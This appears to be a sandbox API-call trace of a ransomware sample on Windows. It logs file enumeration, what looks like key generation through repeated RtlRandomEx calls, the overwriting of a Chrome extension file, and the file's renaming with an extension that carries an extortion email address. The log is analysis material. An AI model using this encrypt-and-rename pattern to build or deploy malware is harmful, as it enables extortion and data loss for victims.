[0174.433] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f17c8) returned 1 Thread: id = 6697 os_tid = 0x1c20 [0173.715] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-1" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-1")) returned 0x20 [0174.434] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-1", dwFileAttributes=0x20) returned 0 [0174.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-1" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-1"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.434] GetLastError () returned 0x5 [0174.434] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-1", dwFileAttributes=0x20) returned 0 [0174.434] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0d48) returned 1 Thread: id = 6698 os_tid = 0x1c28 [0173.717] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-10" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-10")) returned 0x20 [0174.435] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-10", dwFileAttributes=0x20) returned 0 [0174.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-10" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-10"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.435] GetLastError () returned 0x5 [0174.435] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-10", dwFileAttributes=0x20) returned 0 [0174.435] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f13d8) returned 1 Thread: id = 6699 os_tid = 0x1c2c [0173.718] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-11" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-11")) returned 0x20 [0174.436] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-11", dwFileAttributes=0x20) returned 0 [0174.436] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-11" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-11"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.437] GetLastError () returned 0x5 [0174.437] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-11", dwFileAttributes=0x20) returned 0 [0174.437] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1368) returned 1 Thread: id = 6700 os_tid = 0x1c34 [0173.719] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-12" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-12")) returned 0x20 [0174.437] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-12", dwFileAttributes=0x20) returned 0 [0174.438] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-12" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-12"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.438] GetLastError () returned 0x5 [0174.438] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-12", dwFileAttributes=0x20) returned 0 [0174.438] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1ad8) returned 1 Thread: id = 6701 os_tid = 0x1c38 [0173.720] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-13" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-13")) returned 0x20 [0174.439] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-13", dwFileAttributes=0x20) returned 0 [0174.439] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-13" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-13"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.439] GetLastError () returned 0x5 [0174.439] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-13", dwFileAttributes=0x20) returned 0 [0174.439] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f14b8) returned 1 Thread: id = 6702 os_tid = 0x1c3c [0173.720] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-14" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-14")) returned 0x20 [0174.440] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-14", dwFileAttributes=0x20) returned 0 [0174.440] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-14" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-14"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.440] GetLastError () returned 0x5 [0174.440] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-14", dwFileAttributes=0x20) returned 0 [0174.440] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0db8) returned 1 Thread: id = 6703 os_tid = 0x1c40 [0173.721] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-2" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-2")) returned 0x20 [0174.441] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-2", dwFileAttributes=0x20) returned 0 [0174.441] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-2" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.441] GetLastError () returned 0x5 [0174.441] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-2", dwFileAttributes=0x20) returned 0 [0174.441] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1138) returned 1 Thread: id = 6704 os_tid = 0x1c48 [0173.722] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-3" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-3")) returned 0x20 [0174.442] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-3", dwFileAttributes=0x20) returned 0 [0174.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-3" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.442] GetLastError () returned 0x5 [0174.442] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-3", dwFileAttributes=0x20) returned 0 [0174.442] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1608) returned 1 Thread: id = 6705 os_tid = 0x364 [0173.723] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-4" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-4")) returned 0x20 [0174.443] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-4", dwFileAttributes=0x20) returned 0 [0174.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-4" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.444] GetLastError () returned 0x5 [0174.444] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-4", dwFileAttributes=0x20) returned 0 [0174.444] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f12f8) returned 1 Thread: id = 6710 os_tid = 0x1470 [0174.021] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html")) returned 0x2020 [0174.021] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html", dwFileAttributes=0x20) returned 1 [0175.129] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1394 [0175.129] GetFileSizeEx (in: hFile=0x1394, lpFileSize=0x36cfef8 | out: lpFileSize=0x36cfef8*=810) returned 1 [0175.129] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.129] ReadFile (in: hFile=0x1394, lpBuffer=0x36cfe7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36cfe78, lpOverlapped=0x0 | out: lpBuffer=0x36cfe7c*, lpNumberOfBytesRead=0x36cfe78*=0x4, lpOverlapped=0x0) returned 1 [0175.131] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.131] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9d00 [0175.131] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e99e0 [0175.131] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9a80 [0175.131] NtQuerySystemTime (in: CurrentTime=0x36cfe58 | out: CurrentTime=0x36cfe58*=132174899497270000) returned 0x0 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x39bb0bcc [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x136e2d13 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0xc2fbbb1 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x7e1d660f [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x11ab4adf [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0xb11a795 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x317c8ee7 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0xb3d15d3 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x25652de4 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x64d9b04a [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x1ad5f5fa [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x5f3cb6aa [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0xf269087 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x14e61612 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x7fe786bf [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x7920e716 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0xaa53cc0 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x35e67de5 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x47a6f6f [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x5a298dd1 [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0xe589c4e [0175.131] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x5250dfc8 [0175.132] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x9358f3f [0175.132] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x5c468639 [0175.132] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x5a5c5ac2 [0175.132] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x6afa59d0 [0175.132] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x49578869 [0175.132] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x37b75a58 [0175.132] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x3466f732 [0175.132] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x248404d5 [0175.132] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x29085ee [0175.132] RtlRandomEx (in: Seed=0x36cfe64 | out: Seed=0x36cfe64) returned 0x5210753b [0175.143] ReadFile (hFile=0x1394, lpBuffer=0x12d608f0, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x36cfe54, lpOverlapped=0x0) [0175.143] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.143] WriteFile (in: hFile=0x1394, lpBuffer=0x12d6d0f8*, nNumberOfBytesToWrite=0x32a, lpNumberOfBytesWritten=0x36cfe50, lpOverlapped=0x0 | out: lpBuffer=0x12d6d0f8*, lpNumberOfBytesWritten=0x36cfe50*=0x32a, lpOverlapped=0x0) returned 1 [0175.507] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9aa8 [0175.507] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9d00 [0175.508] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9d00) returned 1 [0175.508] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d6d0f8) returned 1 [0175.508] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d608f0) returned 1 [0175.508] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e94a8) returned 1 [0175.508] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2860) returned 1 [0175.508] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2d) returned 0x8da7f8 [0175.508] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.508] WriteFile (in: hFile=0x1394, lpBuffer=0x92e168*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x36cfeb8, lpOverlapped=0x0 | out: lpBuffer=0x92e168*, lpNumberOfBytesWritten=0x36cfeb8*=0x111, lpOverlapped=0x0) returned 1 [0176.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92e168) returned 1 [0176.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8daa28) returned 1 [0176.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9d00) returned 1 [0176.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da7f8) returned 1 [0176.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9aa8) returned 1 [0176.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e99e0) returned 1 [0176.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b48) returned 1 [0176.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9be8) returned 1 [0176.251] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x909268 [0176.251] wcscpy (in: _Dest=0x909268, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" [0176.251] wcscat (in: _Dest=0x909268, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.mailto[2Hamlampampom@cock.li].cd46d" [0176.251] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x36cfe70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0176.251] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x904898 Thread: id = 6734 os_tid = 0x19b8 [0174.045] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x12c6b760 [0174.045] wcscpy (in: _Dest=0x12c6b760, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0174.045] wcscat (in: _Dest=0x12c6b760, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\" [0174.045] wcscat (in: _Dest=0x12c6b760, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*" [0174.045] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x920308 [0174.046] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9f90 [0178.076] wcscmp (_String1=".", _String2=".") returned 0 [0178.076] FindNextFileW (in: hFindFile=0x8d9f90, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.076] wcscmp (_String1="..", _String2=".") returned 1 [0178.076] wcscmp (_String1="..", _String2="..") returned 0 [0178.076] FindNextFileW (in: hFindFile=0x8d9f90, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.076] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.076] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.076] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x99ea48 [0178.076] wcscpy (in: _Dest=0x99ea48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0178.076] wcscat (in: _Dest=0x99ea48, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\" [0178.077] wcscat (in: _Dest=0x99ea48, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" [0186.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99ea48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x126c [0186.137] FindNextFileW (in: hFindFile=0x8d9f90, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0186.137] FindClose (in: hFindFile=0x8d9f90 | out: hFindFile=0x8d9f90) returned 1 [0186.138] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x920308) returned 1 [0186.138] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6b760) returned 1 [0186.138] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f70a8) returned 1 Thread: id = 6814 os_tid = 0x15a8 [0174.463] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 